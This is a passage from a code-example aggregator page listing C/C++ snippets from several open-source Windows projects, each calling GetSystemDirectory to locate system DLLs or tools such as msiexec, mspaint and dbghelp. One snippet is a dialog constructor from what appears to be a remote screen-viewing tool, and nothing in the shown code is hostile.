		CloseServiceHandle(hSCM);
	}

	return TRUE;
}
예제 #23
0
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialog(CScreenSpyDlg::IDD, Parent)
{
	m_iocpServer	= IOCPServer;
	m_ContextObject	= ContextObject;

	CHAR szFullPath[MAX_PATH];
	GetSystemDirectory(szFullPath, MAX_PATH);
	lstrcat(szFullPath, "\\shell32.dll");  //图标
	m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
	m_hCursor = LoadCursor(AfxGetApp()->m_hInstance,IDC_ARROW);



	sockaddr_in  ClientAddr;
	memset(&ClientAddr, 0, sizeof(ClientAddr));
	int ulClientAddrLen = sizeof(sockaddr_in);
	BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen);

	m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";


	

	m_bIsFirst = TRUE;
    m_ulHScrollPos = 0;
	m_ulVScrollPos = 0;


	if (m_ContextObject==NULL)
	{
		return;
	}
	ULONG	ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
	m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];

	if (m_BitmapInfor_Full==NULL)
	{
		return;
	}

	memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength);


	m_bIsCtrl = FALSE;
	m_bIsTraceCursor = FALSE;


//	m_szData = NULL;
//	m_bSend   = TRUE;
//	m_ulMsgCount = 0;;
}
예제 #24
0
파일: enumser.cpp 프로젝트: yoszka/WinAPI
HMODULE CEnumerateSerial::LoadLibraryFromSystem32(LPCTSTR lpFileName)
{
  //Get the Windows System32 directory
  TCHAR szFullPath[_MAX_PATH];
  szFullPath[0] = _T('\0');
  if (GetSystemDirectory(szFullPath, _countof(szFullPath)) == 0)
    return NULL;

  //Setup the full path and delegate to LoadLibrary    
  _tcscat_s(szFullPath, _countof(szFullPath), _T("\\"));
  _tcscat_s(szFullPath, _countof(szFullPath), lpFileName);
  return LoadLibrary(szFullPath);
}
예제 #25
0
파일: winmain.c 프로젝트: jdmansour/mintty
// Helper for loading a system library. Using LoadLibrary() directly is insecure
// because Windows might be searching the current working directory first.
static HMODULE
load_sys_library(string name)
{
  char path[MAX_PATH];
  uint len = GetSystemDirectory(path, MAX_PATH);
  if (len && len + strlen(name) + 1 < MAX_PATH) {
    path[len] = '\\';
    strcpy(&path[len + 1], name);
    return LoadLibrary(path);
  }
  else
    return 0;
}
예제 #26
0
파일: gwinhttpvfs.c 프로젝트: GNOME/glib
static void
lookup_funcs (void)
{
  HMODULE winhttp = NULL;
  char winhttp_dll[MAX_PATH + 100];
  int n;

  if (lookup_done)
    return;

  n = GetSystemDirectory (winhttp_dll, MAX_PATH);
  if (n > 0 && n < MAX_PATH)
    {
        if (winhttp_dll[n-1] != '\\' &&
            winhttp_dll[n-1] != '/')
            strcat (winhttp_dll, "\\");
        strcat (winhttp_dll, "winhttp.dll");
        winhttp = LoadLibrary (winhttp_dll);
    }

  if (winhttp != NULL)
    {
      funcs.pWinHttpCloseHandle = (BOOL (WINAPI *) (HINTERNET)) GetProcAddress (winhttp, "WinHttpCloseHandle");
      funcs.pWinHttpCrackUrl = (BOOL (WINAPI *) (LPCWSTR,DWORD,DWORD,LPURL_COMPONENTS)) GetProcAddress (winhttp, "WinHttpCrackUrl");
      funcs.pWinHttpConnect = (HINTERNET (WINAPI *) (HINTERNET,LPCWSTR,INTERNET_PORT,DWORD)) GetProcAddress (winhttp, "WinHttpConnect");
      funcs.pWinHttpCreateUrl = (BOOL (WINAPI *) (LPURL_COMPONENTS,DWORD,LPWSTR,LPDWORD)) GetProcAddress (winhttp, "WinHttpCreateUrl");
      funcs.pWinHttpOpen = (HINTERNET (WINAPI *) (LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD)) GetProcAddress (winhttp, "WinHttpOpen");
      funcs.pWinHttpOpenRequest = (HINTERNET (WINAPI *) (HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD)) GetProcAddress (winhttp, "WinHttpOpenRequest");
      funcs.pWinHttpQueryDataAvailable = (BOOL (WINAPI *) (HINTERNET,LPDWORD)) GetProcAddress (winhttp, "WinHttpQueryDataAvailable");
      funcs.pWinHttpQueryHeaders = (BOOL (WINAPI *) (HINTERNET,DWORD,LPCWSTR,LPVOID,LPDWORD,LPDWORD)) GetProcAddress (winhttp, "WinHttpQueryHeaders");
      funcs.pWinHttpReadData = (BOOL (WINAPI *) (HINTERNET,LPVOID,DWORD,LPDWORD)) GetProcAddress (winhttp, "WinHttpReadData");
      funcs.pWinHttpReceiveResponse = (BOOL (WINAPI *) (HINTERNET,LPVOID)) GetProcAddress (winhttp, "WinHttpReceiveResponse");
      funcs.pWinHttpSendRequest = (BOOL (WINAPI *) (HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR)) GetProcAddress (winhttp, "WinHttpSendRequest");
      funcs.pWinHttpWriteData = (BOOL (WINAPI *) (HINTERNET,LPCVOID,DWORD,LPDWORD)) GetProcAddress (winhttp, "WinHttpWriteData");

      if (funcs.pWinHttpCloseHandle &&
	  funcs.pWinHttpCrackUrl &&
	  funcs.pWinHttpConnect &&
	  funcs.pWinHttpCreateUrl &&
	  funcs.pWinHttpOpen &&
	  funcs.pWinHttpOpenRequest &&
	  funcs.pWinHttpQueryDataAvailable &&
	  funcs.pWinHttpQueryHeaders &&
	  funcs.pWinHttpReadData &&
	  funcs.pWinHttpReceiveResponse &&
	  funcs.pWinHttpSendRequest &&
	  funcs.pWinHttpWriteData)
	funcs_found = TRUE;
    }
  lookup_done = TRUE;
}
예제 #27
0
static void getDefaultApp(UT_String &imageApp, bool &bLeaveImageAsPNG)
{
#ifdef WIN32
	bLeaveImageAsPNG = false;
	imageApp.clear();

	char buffer[MAX_PATH];
	// for WinNT mspaint is most likely in the system directory (eg C:\WINNT\SYSTEM32\MSPAINT.EXE)
	if (GetSystemDirectory(buffer, MAX_PATH))
	{
		imageApp = buffer;
		imageApp += "\\MSPAINT.EXE";
		UT_DEBUGMSG(("ABIPAINT: Checking if %s exists\n", imageApp.c_str()));
		if (!UT_isRegularFile(imageApp.c_str()))
			imageApp.clear();
	}
	// if not there, try in Win95b directory (eg %PROGRAMFILES%\ACCESSORIES\MSPAINT.EXE)
	if (imageApp.empty())
	{
		HKEY hKey;
		unsigned long lType;	
		DWORD dwSize;
		unsigned char* szValue = NULL;
		if( ::RegOpenKeyEx( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ, &hKey) == ERROR_SUCCESS )
		{
			if( ::RegQueryValueEx( hKey, "ProgramFilesDir", NULL, &lType, NULL, &dwSize) == ERROR_SUCCESS )
			{
				szValue = new unsigned char[dwSize + 1];
				::RegQueryValueEx( hKey, "ProgramFilesDir", NULL, &lType, szValue, &dwSize);
				imageApp = (char*) szValue;
				delete[] szValue;
				imageApp += "\\ACCESSORIES\\MSPAINT.EXE";
				UT_DEBUGMSG(("ABIPAINT: Checking if %s exists\n", imageApp.c_str()));
				if (!UT_isRegularFile(imageApp.c_str()))
					imageApp.clear();
			}
			::RegCloseKey(hKey);
		}
	}
	// if we still haven't found the file, then simply try mspaint.exe
	if (imageApp.empty())
	{
		imageApp = "mspaint.exe";
		UT_DEBUGMSG(("ABIPAINT: Falling back to %s (will probably fail)\n", imageApp.c_str()));
	}
#else
	// for other platforms default to the GIMP, assume in path
	bLeaveImageAsPNG = true;
	imageApp = "gimp";
#endif
}
void WindowsLPIAction::Execute()
{
	wchar_t szParams[MAX_PATH];
	wchar_t lpkapp[MAX_PATH];

	if (_isLangPackInstalled() == true)
	{
		_setDefaultLanguage();
		status = _isLangPackInstalled() ? Successful : FinishedWithError;
		g_log.Log(L"WindowsLPIAction::Execute. Setting default language only was '%s'", status == Successful ? L"Successful" : L"FinishedWithError");
		return;
	}

	OperatingVersion version = m_OSVersion->GetVersion();

	if (version == WindowsXP)
	{
		GetSystemDirectory(lpkapp, MAX_PATH);
		wcscat_s(lpkapp, L"\\msiexec.exe ");

		wcscpy_s(szParams, L" /i ");
		wcscat_s(szParams, m_szFilename); // full path to 'lip_ca-es.msi'
		wcscat_s(szParams, L" /qn");
	}
	else // Windows Vista and 7
	{	
		// Documentation: http://technet.microsoft.com/en-us/library/cc766010%28WS.10%29.aspx
		wcscpy_s(szParams, L" /i ca-ES /r /s /p ");
		wcscat_s(szParams, m_szFilename);
	
		GetSystemDirectory(lpkapp, MAX_PATH);
		wcscat_s(lpkapp, L"\\lpksetup.exe");
	}

	status = InProgress;
	g_log.Log(L"WindowsLPIAction::Execute '%s' with params '%s'", lpkapp, szParams);
	m_runner->Execute(lpkapp, szParams, m_OSVersion->IsWindows64Bits());
}
예제 #29
0
BOOL CConfigData::_CheckChangeIE(DIRECTORYWORK& dirword)
{
    BOOL bRet = FALSE;
    CGetEnvPath evnPath;
    TCHAR szBuffer[MAX_PATH] = { 0 };
    CString strPath;

    UINT uResult = GetSystemDirectory(szBuffer, MAX_PATH);

    if (uResult < 3 || szBuffer[1] != TEXT(':') || szBuffer[2] != TEXT('\\'))
    {
        goto Clear0;     
    }
    szBuffer[3] = TEXT('\0');
    strPath += szBuffer;
    memset(szBuffer, 0, sizeof(szBuffer));
    DWORD MaxSize = sizeof(szBuffer);
    GetUserName(szBuffer, &MaxSize);

    if (KGetWinVersion() >= 4) // win7
    {
        strPath += L"Users\\"; 
        strPath += szBuffer; 
        strPath += L"\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\";

        if (strPath.CompareNoCase(dirword.strDirectory.at(0)) == 0)
        {
            dirword.strDirectory.clear();
            dirword.strDirectory.resize(1);
        }
    }
    else
    {
        strPath += L"Documents and Settings\\"; 
        strPath += szBuffer; 
        strPath += L"\\Local Settings\\Temporary Internet Files\\";

        if (strPath.CompareNoCase(dirword.strDirectory.at(0)) == 0)
        {
            dirword.strDirectory.clear();
            dirword.strDirectory.resize(1);
        }
    }
    bRet = TRUE;
Clear0:

    dirword.strDirectory.at(0) = strPath;

    return bRet;
}
예제 #30
0
/*
* exceptWriteDump
*
* Purpose:
*
* Writes minidump information to the specified file.
*
*/
BOOL exceptWriteDump(
	EXCEPTION_POINTERS *ExceptionPointers,
	ULONGLONG IdFile
	)
{
	BOOL bResult;
	HANDLE hDbgHelp, hFile;
	DWORD dwRetVal;
	MINIDUMP_EXCEPTION_INFORMATION mdei;
	WCHAR szTemp[MAX_PATH * 2];

	bResult = FALSE;
	hDbgHelp = GetModuleHandle(L"dbghelp.dll");
	if (hDbgHelp == NULL) {
		RtlSecureZeroMemory(szTemp, sizeof(szTemp));
		if (!GetSystemDirectory(szTemp, MAX_PATH)) {
			return bResult;
		}
		_strcat(szTemp, L"\\dbghelp.dll");

		hDbgHelp = LoadLibraryEx(szTemp, 0, 0);
		if (hDbgHelp == NULL) {
			return bResult;
		}
	}

	pMiniDumpWriteDump = (pfnMiniDumpWriteDump)GetProcAddress(hDbgHelp, "MiniDumpWriteDump");
	if (pMiniDumpWriteDump == NULL) {
		return bResult;
	}

	RtlSecureZeroMemory(szTemp, sizeof(szTemp));
	dwRetVal = GetTempPath(MAX_PATH, szTemp);
	if (dwRetVal > MAX_PATH || (dwRetVal == 0)) {
		return bResult;
	}
	_strcat(szTemp, L"wobjex");
	u64tostr(IdFile, _strend(szTemp));
	_strcat(szTemp, L".dmp");

	hFile = CreateFile(szTemp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	if (hFile != INVALID_HANDLE_VALUE) {
		mdei.ThreadId = GetCurrentThreadId();
		mdei.ExceptionPointers = ExceptionPointers;
		mdei.ClientPointers = FALSE;
		bResult = pMiniDumpWriteDump(GetCurrentProcess(), GetCurrentProcessId(), hFile, MiniDumpNormal, &mdei, NULL, NULL);
		CloseHandle(hFile);
	}
	return bResult;
}